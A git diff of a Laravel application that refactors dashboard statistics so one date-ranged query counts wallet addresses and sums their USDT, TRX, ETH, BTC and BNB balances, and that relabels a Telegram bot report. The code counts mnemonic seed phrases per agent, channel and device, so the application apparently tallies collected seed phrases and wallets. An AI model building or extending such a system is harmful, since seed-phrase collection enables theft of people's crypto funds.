diff --git a/app/Services/DashboardStatsService.php b/app/Services/DashboardStatsService.php index 9591931..33d2468 100644 --- a/app/Services/DashboardStatsService.php +++ b/app/Services/DashboardStatsService.php @@ -282,7 +282,7 @@ class DashboardStatsService } /** - * Address count is still in-range; coin sums are all matching addresses (no time window). + * Address count + coin sums in one pass over wallet_addresses in range. * * @return array{0: int, 1: array{usdt: string, trx: string, eth: string, btc: string, bnb: string}} */ @@ -294,24 +294,20 @@ class DashboardStatsService Carbon $from, Carbon $to, ): array { - $base = $this->scopedDeviceChildren( + $q = $this->scopedDeviceChildren( WalletAddress::query(), 'wallet_addresses', $agent, $agentUserId, $channelId, $channelExact, - ); + )->whereBetween('wallet_addresses.created_at', [$from, $to]); - $addressCount = (clone $base) - ->whereBetween('wallet_addresses.created_at', [$from, $to]) - ->count('wallet_addresses.id'); - - $selects = []; + $selects = ['COUNT(wallet_addresses.id) as addr_count']; foreach (WalletAddress::COIN_COLUMNS as $col) { $selects[] = 'COALESCE(SUM(wallet_addresses.'.$col.'), 0) as '.$col; } - $row = (clone $base)->selectRaw(implode(', ', $selects))->first(); + $row = $q->selectRaw(implode(', ', $selects))->first(); $out = []; foreach (WalletAddress::COIN_COLUMNS as $col) { @@ -321,7 +317,7 @@ class DashboardStatsService } /** @var array{usdt: string, trx: string, eth: string, btc: string, bnb: string} $out */ - return [$addressCount, $out]; + return [(int) ($row?->addr_count ?? 0), $out]; } /** diff --git a/app/Telegram/Handlers/DataCommand.php b/app/Telegram/Handlers/DataCommand.php index fca2b6c..c3bb143 100644 --- a/app/Telegram/Handlers/DataCommand.php +++ b/app/Telegram/Handlers/DataCommand.php @@ -92,7 +92,7 @@ class DataCommand '助记词: '.$data['mnemonic_count'], '钱包地址: '.$data['address_count'], '', - '💰 总余额(全部地址)', + '💰 总余额(区间内新增地址)', '• USDT '.$data['balances']['usdt'], '• TRX '.$data['balances']['trx'], '• BTC '.$data['balances']['btc'], diff --git a/resources/views/admin/dashboard/index.blade.php b/resources/views/admin/dashboard/index.blade.php index 18bf4a2..2f01af4 100644 --- a/resources/views/admin/dashboard/index.blade.php +++ b/resources/views/admin/dashboard/index.blade.php @@ -145,7 +145,7 @@ -